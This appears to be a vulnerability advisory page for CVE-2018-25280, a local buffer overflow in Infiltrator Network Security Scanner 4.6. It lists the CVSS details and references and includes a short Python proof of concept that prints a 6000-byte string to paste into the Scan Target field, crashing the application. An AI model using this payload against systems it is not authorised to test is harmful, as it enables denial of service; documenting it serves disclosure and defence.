CVE-2018-25280

Description

Infiltrator Network Security Scanner 4.6 contains a buffer overflow vulnerability that allows local attackers to crash the application by supplying an oversized input string. Attackers can paste a 6000-byte payload into the Scan Target field and trigger a denial of service condition when the Scan button is clicked.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Infiltrator Network Security Scanner 4.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import sys

# Generate payload to trigger the buffer overflow
# Vulnerability requires approx 6000 bytes
def generate_payload():
    payload = "A" * 6000
    return payload

if __name__ == "__main__":
    print("[+] Generating PoC payload for CVE-2018-25280")
    poc = generate_payload()
    print(f"[+] Payload length: {len(poc)} bytes")
    print("[+] Payload generated (copy and paste into 'Scan Target' field):")
    print(poc)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2018-25280
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2018-25280
[3] CVE Details https://www.cvedetails.com/cve/CVE-2018-25280/
[4] VulDB https://vuldb.com/cve/CVE-2018-25280
[5] https://www.exploit-db.com/exploits/45390
[6] https://www.infiltration-systems.com/download.shtml
[7] https://www.vulncheck.com/advisories/infiltrator-network-security-scanner-denial-of-service

Raw JSON Data

JSON

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